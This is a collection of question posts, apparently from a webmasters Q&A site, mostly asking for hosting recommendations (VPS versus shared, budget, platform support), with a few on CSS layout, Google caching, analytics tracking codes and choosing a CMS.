{"id":"17142","title":"hosting website with video and audio conversion","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have created a website with audio and video conversion online and providing the output file via email or instant download. I want to know which kind of hosting. server will work fine in my scenario. The video upload size is limited to 50mb per video and audio size is limited by 15Mb. After every two hours the completed video will be deleted, to ensure storage capacity. Please let me know web host server, which can be used for this purpose."}
{"id":"53866","title":"What is the difference between cloud hosting, web hosting, and VPS (virtual private server)","text":"I am building a simple android App that will connect to a online database. But I am not sure what I need in terms of hosting. Would it be cloud hosting, web hosting, VPS (virtual private server) I am looking for a free one where I can create a REST web-service and a MySQL database. There will be no website. There is just for testing my App, so I don't need a lot of space or high bandwidth. Basically, I just need something simple and free that works. But don't know what I am looking for. Many thanks for any suggestions,"}
{"id":"64672","title":"Free or Low Cost Web Hosting for Small Website","text":"I have a small website (between 2000 and 10000) page-views a day. I'm looking for a free or low cost web host. I tried 50webs.com but their server breaks down. So as not to cause debate, I am also just looking for links to good information sources for web hosting if just finding a good web host is too general. I currently only use HTML, CSS, and JavaScript though I'm considering learning PhP and other more advanced languages to step up my game."}
{"id":"16856","title":"Looking for a webhost that offers both Linux and Windows","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? To deploy my .NET web-application I need both Windows (for frontend) and Linux (for database) virtual servers (VPS). What Windows+Linux hoster would you recommend? Of course, I am not interested in Windows or Linux-specific hosters. Also I found some mix hosters who provides low prices for Linux but high for Windows or vice versa."}
{"id":"23521","title":"web hosting for ffmpeg.exe","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We're searching for a web hosting that support ffmpeg.exe. Can anyone gave us a reliable web hosting that supports ffmpeg.exe?"}
{"id":"42528","title":"LAMP in the cloud","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? For my job, I have to use lots of LAMP-based systems like Wordpress. Is there a cloud service out there that can simply give me virtual LAMP servers on- demand so that I can, for example: Download the complete filesystem of a Wordpress site, \"spin up\" a LAMP instance solely for developing that Wordpress site, upload the filesystem, develop the site, and then when I'm done developing, I just take a new snapshot of that filesystem for delivery to my client and kill the LAMP instance. Basically I'm just asking for a pool of sandboxes in which to develop Wordpress sites without having to set up any LAMP stuff."}
{"id":"47986","title":"What is the web server that suits my need?","text":"I have a website which has around 500 visits per day, 10000 per month and it is powered by Joomla. It is a website where user can create new entries and can also look up entries which are saved in the database. So, it communicates a lot with the database. The website is very slow now and we plan to move it to a better server. I really need your help to know what the server specs to look at and how much would be sufficient."}
{"id":"28320","title":"Webhosting with custom database choice","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am trying to find somewhere to host a website which uses OrientDB as its database. My budget doesn't stretch to a dedicated server where I can configure everything as I need it. Rather, I am hoping to find somewhere, ideally UK based, that will allow me to install\/install for me OrientDB on their server, that is of the normal shared server variety. Is anybody able to point me in a good direction for this please (whilst UK is preferable it is not essential)?"}
{"id":"25124","title":"A European Mail Hosting Provider","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? What are reliable e-mail Hosting Providers in Europe (Laws). It's important that they exist already for some time (no Newcomers), or are used by bigger companies. One Provider I know is SwissMail, but I would like to have some diversity. I don't need the cheapest, but it would be good if you can suggest providers, which you have experience with."}
{"id":"29384","title":"Finding a good CentOS VPS host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking to host a new Wordpress blog\/portfolio on a CentOS VPS. I know that a shared hosting account would do for such requirements. However I want to run NGINX with an opcode and memory cache, as I am a bit of speed queen. The problem is I don't know who to buy from, and am wary that just because the numbers look good doesn't mean the service is good. I am happy to stay unmanaged for the time being, and am in two minds whether or not to use cPanel (is pretty expensive, plus I plan on using Centmin Mod to ensure things like PHP, NGINX .etc stay up to date). I was hoping you could provide suggestions of quality hosting providers who are affordable (I don't want to spend much more than $20 a month for the time being, but want an easily upgradeable system should I ever need more resources). **In short I require:** * $20 max budget (small room for manoeuvre) * CentOS (preferably 5.* and 64bit) * Speed lots of it (I am no expert on the balance of resources, so need a little guidance here) * an upgradeable plan should the time arise * A good experience :) Thanks."}
{"id":"10711","title":"Web Hosting Checklist","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am a web developer that is starting to look into hosting his own website. I would like to showcase my programming skills (PHP, MySQl, C#, Wordpress). My knowledge of languages I am OK with but the actually hosting site is where my knowledge starts to get a little shaky. I know the basics (bandwidth, sub- domains, re-write rules) but I would love your input, to help me formulate a check list of certain web-hosting services that I should be on the look-out for. Also I was wondering if there were any reliable hosting providers who give you the option to host both c# code-behinds and PHP code. As I would like to have two versions of my site, one in C# and one in PHP the hope is that if I need to look for another job this website will help me show possible employers my server side knowledge. I hope this is enough info, I did some researching online but found a bunch of unless articles and I've always have had luck on the StackExchange sites. So hopefully you, can help me. Thanks alot."}
{"id":"7606","title":"Any High Availability CF 8\/9 Ent VPS \/ VDS hosting out there?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Will apreciate it if you could list some that you may know of. Those that I could find are standard. I fould one that is enterprise, but no high availability."}
{"id":"14802","title":"Web Hosting Advice for Project","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am working on a project that will be released as open source in the latter part of the year. I am starting to think about how the accompanying website will be hosted and would greatly appreciate some advice. **Requirements:** _Domain #1_ * Information about the project itself (just pages and pictures). * Documentation \/ Wiki * Forums * Download of project source (approx 3MB archive) * Download of various themes and community contributed content (est. sizes 10KB ~ 512KB). _Domain #2_ * Primary company website that offers products and services. This will be primarily pictures and pages. What kind of web hosting would be best for a project like this. I am working on a very tight budget and can only afford to spend up to £250 per year for hosting this. I was considering using some sort of VPS hosting. I found the following companies which seem to offer around this price range, but they have very mixed reviews. * http:\/\/www.webhosting.uk.com\/ * http:\/\/www.eukhost.com\/ * Godaddy UK * uk2 . net My company is based in the UK, how important is it for me to use UK based hosting? There are plenty of overseas hosting companies that are considerably cheaper. When it comes to bandwidth, how many downloads will **bandwidth: 100GB** get me? Any advice would be very greatly appreciated!"}
{"id":"10980","title":"Cheap ASP.NET Hosting - Mutiple Domains","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Can anybody recommend some quality ASP.NET hosting providers that allow you to multiple domains without making you use a \"reseller\" account or purchase multiple accounts. I really only need email accounts for one of the domains. I'm looking for something about $20 to $45 USD."}
{"id":"52302","title":"Website hosting","text":"First off I apologize if this is the wrong place to ask this question, if it is please direct me to the correct place. Ok with that out of the way I have a question about where to host my website. I am a fairly experienced web developer who hosts my stuff on a github.io page. This has worked for me but I want to try and get into hosting my own server that I control. Can you Webmasters please give me an idea of what website I could use that would allow me to have a custom domain and have a server that would run basic things like php, mysql and server side scripts. I have read this but it did not tell me what services would provide the best web hosting for my needs. **Other Details:** My site will probaly only get 10-20 visits a day so I'm not looking for heavy traffic web hosting PHP supported needed mysql support would be nice but, I can live without it I would like to only be spending around $15 a month I would need a custom domain I don't want any of that www.myname.bu1.4.com\/freehosting"}
{"id":"9880","title":"Looking for Windows Hosting Reseller provider with decent reputation","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a windows web hosting reseller provider with the following requirements: * Plesk control panel (for reseller and customers) * Support for Magento, Joomla, and Wordpress * A decent reputuation I'd prefer to not go the VPS route because I do not want to support the server."}
{"id":"56412","title":"How many websites (such as in example) can I run on a Virtual server with 1CPU-core (2.0ghz) \/ 1Gb Ram?","text":"I'm at the end of my web hosting contract and I'm thinking of changing my plan. Instead of a 'simple' web hosting plan, I'm thinking of 'buying' (renting) a virtual server at theirs, to host multiple websites on. A single subscription (€ 9,99) will give me a 'cloud box' where I can run one virtual server on. I will have the use of 1 single core and 1.024GB of ram, and enough of bandwidth and data storage. However, I'm really wondering how many websites I can run on such server, with websites such as (this, html\/jquery website and Wordpress websites such as these - keeping in mind these websites will attract up to 20 viewers a day, each, at most. Based upon the system resources and the website examples that should run upon such system, how well would the server\/websites perform? Let's say I'd run 15 websites on such server, each such as the examples as above, with each up to 15 viewers, each, at most, spread over the day. With a score of 1 (not), 2 (below normal) 3 (reasonable) 4 (more than enough) 5 (excellent) - What score would you give it, to answer the question 'how well would it perform' ? As opinions are not allowed (right?) - Please clarify based upon facts."}
{"id":"6829","title":"Hosting solutions for 10,000 daily users, asp .net 4, sql server 2008 R2?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I've run a custom built social network on top of asp .net mvc & sql server 2005 for the last 2 years on discountasp .net I've been satisfied with the value as it's cost me around $500 over that period. The limitations are 1GB storage which meant the only media on the network I could afford was 1 profile photo per member and 1GB database, which means I have to periodically delete all my logs and I'm left with about 600MB sized sql database. The social network has been linearly growing consistently since inception and this solution will not hold of for 2 much longer. I also wish to build a whole new much more involved site, richer in media and many more options for user interaction, meaning a database schema double the size and much higher db traffic. I would like to find a cost effective (like $300 per month or less) solution to host the new site which would have around 10,000 daily visitors. Perhaps I might need a 10GB sql server database, which much be 2008 R2 because I've got cool spacial stuff going on. Also I'm wondering if I can put my media on a separate cheap hosting solution where I don't have to pay through the roof for storage and bandwidth and implement it so users to seemlinessly switch servers (and hosts) while they use the application. Has anyone ever done this? If so which host did you use for your media? Any help greatly appreciated!"}
{"id":"22585","title":"How \/ Where can I host my Java web application?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Edit: Just to be clear. I want a place where I can do $>java myapp, where myapp uses plain old ServerSocket. No jsp, no servlet, just very basic stuff -- may as well be a chargen server. In case you want to skip to the crux of my inquiry just read the **bold** type. I just finished my CS degree (at 39 years old :-)). For my final project I designed and built a system that can provide local positioning \/ location awareness to mobile wifi devices (only have Android client thus far). The server receives data from clients, processes it, and responds to the clients with a messages containing information about their respective locations. I would like to continue the project (perhaps release as open source but that is a different discussion). Thus far my server application has been running on the CS department's hardware where I could pretty much do whatever I wanted. I'm getting kicked off that system in a few weeks so I have to find a new home for my server application. **I need a host that will let me run my Java server (along w\/ mySQL db) -- preferably on the cheap since I haven't yet got a job. I have very little experience with the \"real world\" of web development \/ hosting. I'm having trouble figuring out what kind of hosting service will let me run my application as is. If that turns out to be a tall order then I need to know what my options are for changing thing so that I can get up and running with some hosting.** As an aside, I'm also researching whether or not I should rewrite this in a different language. Trying to figure out if there is a substantially better (for whatever reason) one for what I'm doing. This might also potentially have a bearing on my hosting needs. One possibility is to write the server in something more widely accepted by hosting services. I have been searching for answers to my question and haven't found quite what I'm looking for. Part of the problem might be that I don't know exactly what terminology to use. If there is a good answer to this question elsewhere please feel free to point me towards it. Thanks for help \/ advice."}
{"id":"7525","title":"Shared hosting with dedicated IP","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Can you please mention here if you know any shared hosting providers who give option to get a dedicated IP? So far I know of one - Netfirms. Please list others if you know. The reason why I am looking for such a thing is: i) In most shared hosting plans, you end up getting better CPU\/burst RAM than a VPS provided you don't abuse. ii) Dedicated IP is good for SEO. For example, many times, you may get up getting an IP where some p*** sites are also hosted in shared hosting."}
{"id":"57486","title":"SaaS in south africa","text":"I am looking for a place to host a mvc .net website. The primary users will be in South Africa. As far as I know azure and appharbor has no servers in SA and I do not know if the latency will be an issue, so my question is if any of you guys have any thoughts on this. My alternative is some local VM hosting, but would prefer a SaaS route?"}
{"id":"11182","title":"Comparison of web hosting providers","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My current web host that I've been with for over a decade is jerking me around, and I'm ready to find a new provider. Holy smokes! There are so many! It's overwhelming! I want to see a comparison of the most popular hosting providers. I want to compare things like: * Bandwidth allotment * Storage limit * Databases * MySQL * SQL Server * # of Free Domains * # of Sites etc. Better would be a tool that let's me supply parameters that will narrow down the list. Ie, only windows with unlimited storage, unlimited bandwidth, free sql server databases and less than $5.00 month. I've found a couple of sites that do something like this, but not very well. Is there something like what I'm looking for already on the web? I don't want to go to dozens of different hosting provider sites and jot down all the stats manually."}
{"id":"7660","title":"What Sharepoint Server Hosting provider would you suggest?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We run an international organisation that is looking at implementing MS SharePoint. Who would you suggest we use? Currently we are looking at: Verio, Rackspace, SherWeb. In particular we're hoping for a reliable provider that has better international connectivity. Server uptime and service responsiveness are our main key requirements. Greg"}
{"id":"61463","title":"Is there any kind of relation between the activity in a website and the hosting that I have to purchase?","text":"Is there any kind of relation between the activity in a website and the server that I have to purchase? I need to give a budget, for website that could increase the traffic in the future, so I would need to know what type of server should I purchase."}
{"id":"921","title":"Virtual Private Server vs. Dedicated Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? What is the difference between virtual private server and dedicated hosting for my website?"}
{"id":"26135","title":"Where to get a shared hosting with MySQL 5.5 or higher?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I need to utilize the features of 5.5 and my current host (liquid web) doesn't provide 5.5 for their shared plans. I do not want to get a dedicated server right now, but will in the future. I just need shared hosting at the moment that supports 5.5"}
{"id":"20570","title":"Your advice on Cloud Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I would like run my website (.NET 4 + MS SQL 2008) on the Cloud. What I need is: 1. Managed Service for OS update and Security Paths. 2. DataBase MS SQL 2008 (ok even if shared with other website). 3. Reliable Technical support. I looked at MS Azure, the service in quite flexible but their website does not provide cost and information about the Support (I also have no experience on deployment on that platform), I also evaluating MaximumAspESP (less scalable) but providing points above. I would like ask you your advice on a serious Hosting Company (for cloud service)."}
{"id":"15454","title":"Free asp.net hosting for my college project","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am a student developing an asp.net website for my college project. I'd like to put it online for everyone to see. Are there any webhosts who allow me to host my web site for no cost?"}
{"id":"10867","title":"I need a quality linux UK based webhost","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Can any suggest a good (ideally) UK based reseller web host. I don't want the cheapest solution. I want a robust, quality one. Needs to run php5 and MySQL. I have been considering a managed dedicated server instead of a reseller account so if anyone has good experiences please let me know."}
{"id":"23819","title":"anyone know a good cheap asp.net mvc3 webhost?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for an asp.net webhost to use, not looking for anything particularly fancy, just something to test some stuff. It will need to support sql databses..."}
{"id":"4882","title":"High Traffic Web Host Solution?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm currently shopping around for a web host for our website we are hoping to release in the near future. This is my first real step into this area. Just wondering what I should be looking for. It is an ASP.net MVC website with an MS SQL Server backend. I need to know that the server will not buckle if the traffic booms. Currently I'm looking at a managed dedicated server from Singlehop."}
{"id":"34722","title":"How to Determine VPS Hosting Resources Needs for my upcoming Wordpress blog? How much resources should i purchase?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Decided to purchase VPS hosting but Getting confused on amount of Resources i need? Wordpress will be used as platform, The blog i want to setup is assumed to have a traffic between 20k - 25k Visits per day with a rate of 5 pageviews per visit... there is No Download Facility provided...the content of the blog will be Text, Images & videos (will be used rarely)... The main question is? For the above requirement: How much RAM will be enough? How much CPU usage i will need? How much Bandwidth will be enough? How much Disk Space? Any other Requirement? Thanx in Advance.."}
{"id":"18892","title":"Hosting a website with Rails, Groovy or Java servlets - shared hosting or VPS?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Are there hosting companies that cater for Rails, Groovy and Java servlets? Or is my only choice to use a VPS? If so, how do I publish my website on the hosting?"}
{"id":"50401","title":"Recommended linux hosting with private whois","text":"_This question is not a duplicate ofthis one, which I already read till the end._ I am not asking for the best hosting solution, because this would invite moderators to close my question. I just want you to help me choose one hosting with this requirements: * Free private WHOIS _(plus if I don't have to provide my name and ID, specially ID)_ * MasterCard payment method * Basic Plan _(I want it for a blog)_ Note: The not-provide ID is for privacy reasons. I do not want to be anonymous, but neither giving my ID, adress, name to an unkown."}
{"id":"3857","title":"Frustrated trying to find a hosting company for my .Net site ?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have spent weeks trying to find information on hosting sites for my site. I currently use 1&1 but I need to have support for add-on dll's ( iTextsharp ) and they have told me for security reasons they cant do that. I use .net , c# and MSSQL.. I'm in the UK but not bothered where I host So off I went researching on the web and everytime I thought I had found a good one I would read reviews and they would be bad ! I am down to the following.. does anyone have any viewson them or point me to a GOOD site which has proper reviews from lots of users or EVEN BETTER a reliable .Net host which would support my needs:- DiscountASP, U2-Web, 000webHost, HeartInternet, Somee, Arvixe, Daily.co.uk, GoldPuma, TitanInternet, Aspnethosting, IXWebHosting Thanks Peter"}
{"id":"2344","title":"Investigating and finding a web host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for a website host and have been searching the web for similar websites(similar to my website) and trying to see what hosting company they are using. I keep looking up details of websites I like on netcraft.com, and I keep finding 'n' number of Netblock owners with Random or generic names. Apart from a few popular ones(eg. Planet.com, MT), I find it extremely difficult to find out who the hosting company is. For eg. Netcraft Site report for a website www.randomwebsite.com gives Netblock owner as RandomWebHoster.com, if I go to RandomWebHoster.com the site does not exist. The DNS is given as ns1.superrandomdns.com, the website superrandomdns.com simply has a page saying superrandomdns.com. I am looking for a reliable web host with **J2EE support** for a accounting webapp. How do I investigate stuff myself if I want to find a good host? Where did you begin when looking for a webhost? (Please do not down vote the question. My goal is to make host evaluation easier.) I understand that different type of websites have different needs, eg. a low traffic blog v\/s a mission critical webapp."}
{"id":"22855","title":"Good Place for File\/Backup Dedicated Server?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a cheap dedicated server for file hosting \/ backup only. Basically I just want something with minimal CPU & RAM, but with maximum arrays of hard drives (e.g. 4x 4TB hard drives per server, RAID 10). Anyone know of a good dedicated server provider that can offer this type of deal?"}
{"id":"9308","title":"Slashdotted web site seeks new home","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am maintaining a website that contains mostly simple html (just a little php). Normally the site receives only 4000 hits per month, but it was recently slashdotted by the New York Times (>30,000 visitors and 30 GB in a day) and the web host provider (bluehost) throttled the CPU in response. This slowed down the website considerably. What web host providers would offer a more scalable solution? Ideally I would like a high-quality host that charges by the GB and can handle bandwidth to expand during sudden slashdotting episodes without a reduction in performance."}
{"id":"67467","title":"website for software distribution: standard hosting or vps hosting?","text":"I want to create a website on which users can download software, but each time one of the user downloads the software, I want it to be modified: compiled again with some new information, obfuscated, than proposed to download. Do I need a special hosting to do that (vps or dedicated hosting), or would shared hosting do it? Is that even possible on the latter? The website should not have a lot of traffic and the language I would use is ASP.NET."}
{"id":"9422","title":"place to host a simple php socket server","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? i am running a small project that occasionally requires me to run a php socket script through ssh. it uses a few bytes of bandwidth (just some text) which activates my art installation project. i tried a simple web hosting plan but that didn't support sockets, so know i am using a 32$ vps plan on namecheap.com just to run a simple php script. i don't really need to host anything else on it. i find it kind of excessive for such a simple thing. is there a place i can run my script for a lower cost? any servers that support php sockets and ssh?"}
{"id":"11460","title":"full environment for development and production web site","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? is there any hosting that gives you full environment for development and production web site including IIS,Sql server, SMTP? Thanks."}
{"id":"66947","title":"Managing a large dynamic website","text":"so I just finished making a website and want to ensure that it could support a given amount of users at a time. I built it on a shared hosting account, but the thing is that my web hoster has a maximum of 10 simultaneous connections to a database. So, only 10 users at any given time can make a request to the DB. This is a problem because the site is dynamic and loads data from the database on every load. I was wondering what a sufficient type of server would be to host this site (again no accounts, user picture uploads or anything, just requests from a MySQL database and occasional copying of images from the web). I would like to support at least 5000 users at any given time, maybe more. Thank you."}
{"id":"57282","title":"Webhosting server Frontcontroller support","text":"I am currently using XAMPP to code my websites, but i want to host it online now. I came across some hosting servers and they had restrictions, one didn't allow the use of a PDO and another didn't allow me to use require_once(); basic specs that i need are: * Fontcontroller support * PHP & mysql * Apache * free do some of you know a free webhosting very close (same specs) as XAMPP ? (so i basicly just need to change the PDO username, password and dbname.)"}
{"id":"64663","title":"Web Host which provides Latex and embedded programming","text":"Hopefully this is a reasonable place to ask this question. I'll confess I'm a little green when it comes to web programming and websites in general (though not programming). I'm a Math and Physics person. I want to make a personal webpage containing a Math and Physics blog. Ideally the blog should support latex, and embedded programs. This would allow me to write, say, an equation for an orbit and then show what the orbit would look like (perhaps letting the reader configure parameters). The programming language can be javascript (though it isn't my favorite language). My budget is around 5 dollars a month. Does anybody have suggestions for a good Shared host with these kind of requirements? And a small aside, It would be useful if I can move the website content, since I might live at a university in the nearish future. They would have servers which could support such a webpage."}
{"id":"8463","title":"Best cheap Linux hosting with LAMP support","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a linux hosting provider that supports LAMP and wondering if the community could recommend one. I was thinking about going with godaddy since their plan is only like $5 \/ month, but was wondering if there any others out there that are just as cheap if not cheaper"}
{"id":"27139","title":"Approach to access server requirements for PHP app","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We're going to be launching an app that we believe will ultimately generate a couple thousand page views a day, but on day one it's gonna be close to zero. What I'm trying to figure out is how we can access our minimum hosting requirements. It's a PHP app on the CodeIgniter framework that uses PrinceXML to produce PDFs. Does it 'generally' make sense to start on virtual dedicated server rather than the cloud? Is there a way to access whether our server will need 2GB or 4GB things like that? I can find my way around Plesk, but I have near zero experience with Linux or cloud hosting and trying to learn as much as I can before we launch\/ Any advice as to the best way to approach this will be greatly appreciated."}
{"id":"21275","title":"How much bandwidth do I need? Please help?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm an inexperienced webmaster trying to estimate hosting requirements for a site. I need to work out a dollar amount for a grant. The tricky part is that traffic fluctuates dramatically throughought the year, because we're an international day of celebration. That means most of the year, we get ~50 visitors a day. Then in the months ramping up to the day, we get between 200-600 visitors a day. In a three day span at the peak, we can get 5,000-200,000 a day. Last year the site crashed because of this and I want to avoid it this year. I'm writing a grant to get better hosting, but I have no idea what the best solution for this would be. I need to have a solid dollar amount it will PROBABLY have if things go the way they did last year. Any help is greatly appreciated. EDIT: we're in the USA. Right now we have our site hosted on GoDaddy but I don't have the details. The site handled the traffic okay right up until June 8th, when it crashed. We don't have an accurate measure of how many people visited, but our sysadmin thought it was a DDOS attack at first. He said it was around 200,000 at once. The site is http:\/\/www.WorldOceansDay.org Note: we also use CloudFlare to cache and serve our pages, not sure how that may affect it"}
{"id":"19439","title":"Choosing a webhost","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm having trouble choosing a web host. I only need a VPS to start my project, but I want to be able to expand to a dedicated server later when traffic is growing without much hassle. Things of importance: * quality and fast service * price * phpmyadmin * cpanel Any suggestions? EDIT : I live in Norway, but the site is going to be international."}
{"id":"1217","title":"Whats is the best Windows VPS hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm currently using shared hosting. I want more control over my IIS and also I need to run in full trust. There are a lot of options out there for Windows VPS hosting. Which ones do you recommend is the best? Some must haves * Has to have great support * Automatic hardware fail overs * Access through Remote Desktop (you would be amazed some don't offer this) * No limit on what I can install on it"}
{"id":"18677","title":"Free HTTPS hosting with PHP support","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for free hosting with HTTPS and PHP support. Of course a subdomain is enough. Something like Google's appspot.com, but with PHP support."}
{"id":"9945","title":"Free JSP\/Spring MVC Web Hosting Site","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am thinking of hosting a small web application built using Spring MVC. Does anybody know any free web hosting sites that supports JDBC also? I haven't tried web hosting site so I would like to know one site which sites are free and ok. My app wont take so much disk space and would like to know if there are sites that runs on Tomcat. Thanks."}
{"id":"20325","title":"Help me finding a hoster that allows MySQL Replication please","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Now as I found out here that I should use Replication for my project, I need a Hoster that allows me to do so. Unfortunately my current hoster doesn't unless I buy a real expensive package. Currently I'm paying around 50$ a month and I wouldn't like paying much more as I don't need many exclusive features apart from replication (got maybe 5000 visitors on a good day). * I don't want to spend much money, as I don't have much traffic (maybe a few thousand unique visitors on a good day) * I actually need only a fast MySQL DB to set up for replication * Preferably in germany as my visitors come from germany too I just can't find any information about that on hosters webpages, and I thought it might be faster to ask others before writing asking every hoster personally. Anyone can help me here ? What hoster are you using for MySQL DB replication?"}
{"id":"5306","title":"django & postgres linux hosting (with SSH access) recommendations","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We're looking for a good place to host our custom Django app (a fork of OSQA) and its postgresql backend. Requirements include: * Linux * Python 2.6 or (ideally) Python 2.7 * Django 1.2 * Postgres 8.4 or later * DB backup\/restore handled by the hoster, not us * OS & dev-platform-stack patching\/maintenance handled by the hoster, not us * SSH access (so we can pull source code from GitHub, so we can install python eggs, etc.) * ability to set up cron jobs (e.g. to send out dail email updates) * ability to send up to 10K emails\/day * good performance (not ganged up with a zillion other sites on one CPU, not starved for RAM) * FTP or SCP access to web logs * dedicated public IP * SSL support * Costs under $1000\/month for a relatively small site (<5M pageviews\/month) * Good customer service We already have a prototype site running on EC2 on top of a Bitnami DjangoStack. The problem is that we have to patch the OS, patch postgres, etc. We'd really prefer a platform-as-a-service (PaaS) offering, like Heroku offers for Rails apps, where all we need to worry about is deploying our code instead of worrying about system software patching and maintenance. Google App Engine is closest to what we're looking for, but they don't offer relational DB access (not yet at least). Anyone have a recommendation?"}
{"id":"62955","title":"Dropbox vs Google Drive vs other for free static cloud hosting","text":"I need to host a static website, single page deal, and instead of paying for hosting I thought I might use a cloud service, however an issue I can see of this is bandwidth allowance. Does anyone know which allows more bandwidth per link, Dropbox, Google Drive or another service?"}
{"id":"13757","title":"Need new secure host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My website is being attacked too much lately and my provider is unresponsive. Logs show dozens of attempts to run mysql setup.php scripts from various locations, then the logs vanish. Time to find another host. I lack the skill to config and run my own server -- actually, I'd have no problem setting it up and running it, I'm just not current on Linux security -- so I must rely on a competent host. Can anyone recommend a Linux-based hosting service with solid security and reasonable bandwidth rates? I will be selling a program so there will be a large number of downloads. I am in Canada, so USA or Canada is preferred. All advice is welcome. Thanks."}
{"id":"53905","title":"Google Cache showing wrong URL","text":"I searched the cache details of the URL `http:\/\/property.example.com\/pune- properties` but the Google Cache showing details for `property.example.com`. I don't know why it's showing like this. Not only for `http:\/\/property.example.com\/pune-properties` but also for all the Indian city relates URL's like `http:\/\/property.example.com\/chennai-properties` , `http:\/\/property.example.com\/mumbai-properties` , `http:\/\/property.example.com\/kolkata-properties` etc. Even I don't find these URLs in the Google search result. If I search Chennai properties in Google, I find `property.example.com` and not `http:\/\/property.example.com\/chennai- properties`. Why its happening like this?"}
{"id":"6793","title":"Make content area appear on the right of the menu_bar","text":"This is my css code, i would like to make the content_area come to the right of the menu_bar, at the moment it comes at the bottom of the menu_bar body{ color:#000000; font-family: arial, san serif; } #container { margin-left: 10%; margin-right: 10%; border: 1px solid #46A5E0; width: 80%; } #header { margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 99%; height: 10%; } #pathway{ margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 99%; height: 3.5%; } #menu_bar{ margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 20%; height: 40%; } #content_area{ margin-left: 25%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 20%; height: 40%; } #footer { margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 99%; height: 3.5%; } This is the HTML <html> <head> <title> This is my first page <\/title> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=iso-8859-1\" \/> <link rel=\"stylesheet\" href=\"styles\/toast.css\" type=\"text\/css\" \/> <\/head> <body> <div id=\"container\"> <div id=\"header\"> <p class=\"banner\"> This is my header <\/p> <\/div> <!-- this is the end of the banner area --> <div id=\"pathway\"> My pathway goes here <\/div> <!-- this is the end of the pathway --> <div id=\"menu_bar\"> <div class=\"menu\"> <\/div <\/div> <!-- end of menu bar --> <div id=\"content_area\"> <\/div> <!-- this is the end of the content_area--> <div id=\"footer\"> this is my footer <\/div> <\/div> <!-- this is the end of the container --> <\/body> This is making the content_area go below the menu_bar how do i bring it to the right of the menu bar."}
{"id":"61245","title":"Will using two different tracking codes affect my SERP","text":"Hello everyone and thanks for your time! I am now facing a problem after a site migration. New site is basically an improved version of old site, with the same content and some extras. After pointing the domain name to the new site, the old site was still online for a while but didn't get any traffic. The new site has its own tracking code. So, old tracking code has age (something like 7 years) but no visitors for a month, but new tracking code is a month old with an acceptable traffic. How to you think google will react if I add old tracking code to new site? Thanks by advance!"}
{"id":"25745","title":"Which Content Management System (CMS)\/Wiki should I use?","text":"_This is a general, community wikicatch-all question to address non-specific \"I need a CMS or Wiki that does x, y, and z...\" questions._ _If your question was closed as a duplicate of this question and you feel that the information provided here does not provide a sufficient answer, please open a discussion onPro Webmasters Meta._ * * * I have a list of features that I want for my website's Content Management System (CMS) - where can I find a [free] script that includes all of them?"}
{"id":"16930","title":"Blogging platform that supports guest-posting","text":"> **Possible Duplicate:** > Which Content Management System (CMS) should I use? I'm looking for a blogging engine (hosted or downloadable) that will allow: * guest posting (anyone can register an account and post) * file-attachments (you can attach files to posts)"}
